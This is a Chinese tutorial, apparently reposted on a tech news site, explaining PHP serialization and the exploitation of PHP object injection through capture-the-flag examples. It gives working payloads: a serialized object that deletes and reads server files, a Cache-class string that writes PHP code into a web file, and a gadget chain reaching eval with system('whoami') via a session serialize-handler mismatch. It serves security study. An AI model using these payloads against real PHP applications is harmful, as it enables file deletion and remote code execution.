加入收藏 | 设为首页 | 会员中心 | 我要投稿 汽车网 (https://www.0577qiche.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

简易分析PHP中序列化用法介绍

发布时间:2023-09-19 10:43:58 所属栏目:PHP教程 来源:
导读:0x00 序列化函数

serialize():返回带有变量类型和值的字符串

unserialize():想要将已序列化的字符串变回 PHP 的值

测试代码:

<?php
class test{
var $a;
var $b;
function _
0x00 序列化函数

serialize():返回带有变量类型和值的字符串

unserialize():想要将已序列化的字符串变回 PHP 的值

测试代码:

<?php 
  class test{ 
     var $a; 
     var $b; 
     function __construct($a,$b,$c){ 
      $a  = $a; 
      $this->b = $b; 
     
     } 
    } 
     
    class test1 extends test{ 
     
      function __construct($a){ 
       $this->a = $a; 
      } 
     } 
    $a = 'hello'; 
    $b = 123; 
    $c = false; 
    $d = new test('helloa','hellob','helloc'); 
    $e = new test1('hello'); 
     
    var_dump(serialize($a)); 
    var_dump(serialize($b)); 
    var_dump(serialize($c)); 
    var_dump(serialize($d)); 
    var_dump(serialize($e)); 
?> 
运行结果:

string 's:5:"hello";' (length=12) 
string 'i:123;' (length=6) 
string 'b:0;' (length=4) 
string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46) 
string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46) 
序列化字符串格式:变量类型:变量长度:变量内容.

如果序列化的是一个对象,序列化字符串格式为:

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

将上述结果反序列化输出,执行结果:

string 'hello' (length=5) 
int 123 
boolean false 
object(test)[1] 
  public 'a' => null 
  public 'b' => string 'hellob' (length=6) 
object(test1)[1] 
  public 'a' => string 'hello' (length=5) 
  public 'b' => null 
0x01 对象序列化

当序列化对象时,PHP 将在序列动作之前调用该对象的成员函数 sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 wakeup()成员函数。

在serialize()函数执行时,会先检查类中是否定义了 sleep()函数,如果存在,则首先调用 sleep()函数,如果不存在,就保留序列字符串中的所有属性。

在unserialize()函数执行时,会先检查是否定义了 wakeup()函数。如果 wakeup()存在,将执行__wakeup()函数,会使变量被重新赋值。

serialize()测试代码:

<?php 
  class test{ 
     var $a; 
     var $b; 
     function __construct($a,$b,$c){ 
      $this->a  = $a; 
      $this->b = $b; 
     
     } 
     function __sleep(){ 
      echo "b has changed"."/n"; 
      $this->b = 'hib'; 
      return $this->b; 
       
     
     } 
     function __wakeup(){ 
      echo "a has changed"."/n"; 
      $this->a = 'hia'; 
     
     } 
    } 
     
    class test1 extends test{ 
     
      function __construct($a){ 
       $this->a = $a; 
      } 
     } 
     
    $d = new test('helloa','hellob','helloc'); 
    $e = new test1('hello'); 
     
    serialize($d); 
    serialize($e); 
     
    var_dump($d); 
    var_dump($e); 
?> 
执行结果:

b has changed b has changed 
object(test)[1] 
public 'a' => string 'helloa' (length=6) 
public 'b' => string 'hib' (length=3) 
object(test1)[2] 
public 'a' => string 'hello' (length=5) 
public 'b' => string 'hib' (length=3) 
unserialize()测试代码:

class test{ 
     var $a; 
     var $b; 
     function __construct($a,$b,$c){ 
      $this->a  = $a; 
      $this->b = $b; 
     
     } 
     function __sleep(){ 
      echo "b has changed"."/n"; 
      $this->b = 'hib'; 
      return $this->b; 
       
     
     } 
     function __wakeup(){ 
      echo "a has changed"."/n"; 
      $this->a = 'hia'; 
     
     } 
    } 
     
    class test1 extends test{ 
     
      function __construct($a){ 
       $this->a = $a; 
      } //Cuoxin.com 
     } 
     
        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ; 
        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ; 
     
        var_dump(unserialize($d)); 
        var_dump(unserialize($e)); 
运行结果:

a has changed 
object(test)[1] 
  public 'a' => string 'hia' (length=3) 
  public 'b' => string 'hellob' (length=6) 
a has changed 
object(test1)[1] 
  public 'a' => string 'hia' (length=3) 
  public 'b' => null 
0x02 PHP序列化的利用

1、magic函数和序列化

参考:php对象注入

除了 sleep()和 wakeup()函数,在序列化时会执行外,还有下面几种利用方式。

Class File 
 { 
  function __construct($var,$file1,$file2){ 
   $this->var = $var; 
   $this->file1 = $file1; 
   $this->file2 = $file2; 
   echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined'; 
  } 
  function __destruct(){ 
   unlink(dirname(__FILE__) . '/' . $this->file1); 
   echo $this->file1.'deleted'; 
  } 
  function __toString(){ 
   return file_get_contents($this->file2); 
 
  } 
 
 
 } 
 
// $file = new File('hello','123.txt','456.php'); 
// var_dump(serialize($file)); 
echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}'); 
( construct()函数,在实例化一个对象时被调用,一般用来给属性赋值, destruct()在实例化对象完成后执行,__toString()函数在echo一个对象时被调用)

construct()函数内定义了三个变量,var这个没什么暖用,file1和file2,我们在序列化字符串中定义为已经服务器上已经存在的两个文件123.txt和456.php,destruct()中有一个unlink方法,是删除file1,__toString()中,读取file2的内容。

执行结果:

123.txtdeleted

查看源码:

<?php  echo 123; ?>123.txtdeleted

将字符串反序列化后,由于已经对变量赋过值,那么就不会再执行 construct()函数,在 construct()中赋值的变量也是无效的。上述代码中 destruct()方法在在反序列化后,实例化对象结束后执行了, tostring()函数在echo unserialize()处,也被执行了

如果说在当前页面中有request系列函数,那么就可以造成php对象注入:

http://drops.wooyun.org/papers/4820

2、三个白帽挑战赛第三期

是一道源码审计题,题目大致是sql注入结合序列化写入文件

部分源码也是在某个大神 博客 看到的(由于我没有做过题,所以我只截取了和序列化漏洞相关的部分源码):

class Cache extends /ArrayObject 

  public $path; 
  function __construct($path) 
  { 
    parent::__construct([],/ArrayObject::STD_PROP_LIST | /ArrayObject::ARRAY_AS_PROPS); 
    $this->path = $path; 
    if(file_exists($path)){ 
      $this->cache = unserialize(file_get_contents($this->path)); 
    } 
  function offset(){ 
  //一些不知道干嘛用的代码 
  } 
 
  } 
 
  function __destruct() 
  { 
    $cache = $this->serialize(); 
    file_put_contents($this->path, $cache); 
     
  } 
 

又由于我没有做过题。。。。所以模拟了这样一个页面去实例化:

include('cache.php'); 
$cache = new Cache('path.txt'); 
这题好像是这样的:

通过SQL注入,可控一个文件,假设可控的是path.txt这个文件(在实际的题目中,SQL注入权限不够,web目录下不可写文件,但其他目录可写,已知目录下有文件md5(username).txt,文件名知道,内容可控),这段代码的意思是,判断该文件存在后,读取文件内容,并且反序列化内容,结束时再经过序列化存进文件中。所以可以在可控文件中构造序列化字符串,改变当前的path属性为我们想要的目录。

path.txt: 
 
C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:/wamp/www/test/path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 
上述字符串是通过输出serialize(一个实例化的Cache对象)构造的,当__construct()执行时,就会将上述字符串反序列化,此时已经实例化了一个cache对象,而它的path值变成了我们定义的”F:/wamp/www/test/path.php”,并且多了一个cache属性,值为 <?php echo 123; ?> ,这里的属性名cache是可以随意取的,但如果源码中:

$cache = $this->serialize();

变成了:

$cache = serialize($this->cache);

那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;属性名就必须和源码serialize($this->cache)当中的属性名相同。

所以,现在服务器上其实有两个对象,一个是 $cache = new Cache('path.txt'); 定义的$cache,它的path属性值为path.txt;另一个对象是

C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:/wamp/www/test/path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的对象,它的path属性的值为path.php。

两个对象实例化结束后,会调用其__destruct()方法,将对象自身序列化,写入path属性定义的路径中。这样就将包含 <?php echo 123; ?> 的内容写进了path.php中。

3、安恒ctf web3

一道源码审计题,解题思路是session上传进度,和session序列化处理器漏洞相结合。

session上传进度:

参考: upload-progress

当 session.upload_progress.enabled INI 选项开启时,在一个上传处理中,在表单中添加一个与INI中设置的 session.upload_progress.name 同名变量时,$_SESSION中就会添加一个保存上传信息的session值,它的session名是 INI 中定义的 session.upload_progress.prefix 加表单中的post的 session.upload_progress.name

测试代码:

<form action="" method="POST" enctype="multipart/form-data"> 
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> 
 <input type="file" name="123123" /> 
 <input type="submit" /> 
</form> 
<?php 
 session_start(); 
 var_dump($_SESSION); 
?> 
(要查看到上传session,INI貌似要设置这个session.upload_progress.cleanup = Off)

session序列化处理器:

参考:session序列化

当session.auto_start = 0时:

两个脚本注册 Session 会话时使用的序列化处理器(session.serialize_handler)不同,就会出现安全问题。

经过测试发现在1.php页面注册session.serialize_handler=‘php_serialize’;

在2.php中注册session.serialize_handler=‘php’;

那么在1.php中伪造一个格式为:竖线加上对象序列化后的字符串

如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

那么会按照 php 处理器的反序列化格式读取数据,成功地实例化了该对象。

反之,如果是从php->php_serialize,是不可行的。

当session.auto_start = 1时:

只能注入 PHP 的内置类

web3 源码:

class.php: 
 
    <?php  
    class foo1{ 
            public $varr; 
            function __construct(){ 
                    $this->varr = "index.php"; 
            } 
            function __destruct(){ 
                    if(file_exists($this->varr)){ 
                            echo $this->varr; 
                    } 
                    echo "这是foo1的析构函数"; 
            } 
    } 
     
    class foo2{ 
            public $varr; 
            public $obj; 
            function __construct(){ 
                    $this->varr = '1234567890'; 
                    $this->obj = null; 
            } 
            function __toString(){ 
                    $this->obj->execute(); 
                    return $this->varr; 
            } 
            function __desctuct(){ 
                    echo "这是foo2的析构函数"; 
            } 
    } 
     
    class foo3{ 
            public $varr; 
            function execute(){ 
                    eval($this->varr); 
            } 
            function __desctuct(){ 
                    echo "这是foo3的析构函数"; 
            } 
    } 
     
    ?> 
index.php: 
 
<?php 
     
    ini_set('session.serialize_handler', 'php'); 
      
    require("./sessionTest.php"); 
      
    session_start(); 
    $obj = new foo1(); 
      
    $obj->varr = "phpinfo.php"; 
     
    ?> 
想办法让程序执行foo3的excute()函数,就要通过foo2的 toString(),要执行foo2的 toString()就要通过echo foo2,刚好foo1的__deatruct()有段这样的代码 echo $this->varr;

所以这样构造:

include('class.php'); 
$t1 = new foo1; 
$t2 = new foo2; 
$t3 = new foo3; 
$t3->varr = "system('whoami');"; 
$t2->obj = $t3; 
$t1->varr = $t2; 
 
$s1 = serialize($t1); 
var_dump($s1); 
构造出这样一串:O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

所以构造一个表单,向class.php上传文件,通过session上传进度保存的session,来触发session序列化漏洞,由于INI中设置的序列化处理器为php_serialize,而index.php中将其设置为php,就使得伪造的session被成功地实例化了。

有两类不同的插法~

1、将序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

session名变成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload会替换整个session值

2、将序列化字符串插入post内容中

因为session会存上传文件的内容和文件名,所以也可以将序列化字符串插入name、filename.文件上传原本的session值一直到name前面一个参数为止,变成了session名,name参数|后面的payload变成了session值.

(编辑:汽车网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章